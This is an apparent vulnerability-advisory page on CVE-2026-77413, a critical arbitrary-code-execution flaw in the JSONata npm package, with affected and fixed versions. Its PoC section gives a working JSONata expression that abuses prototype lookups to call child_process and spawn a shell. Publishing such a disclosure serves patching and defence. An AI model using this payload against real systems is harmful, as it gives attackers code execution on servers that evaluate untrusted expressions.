NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2026-77413: JSONata: Arbitrary Code Execution via crafted JSONata expressions

criticalCVSS 4.0 9.3GHSA-8gq3-vp5j-2grp

Impact Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8…

Published Aug 21, 2026

Affected packages

jsonata

Ecosystem
npm
Affected
<= 1.8.7
Fixed in
1.8.8
Check
npm ls jsonata

jsonata

Ecosystem
npm
Affected
>= 2.0.0, < 2.2.0
Fixed in
2.2.0
Check
npm ls jsonata

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});

Credited to peaktwilight, c0rydoras.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More npm vulnerabilities

All npm entries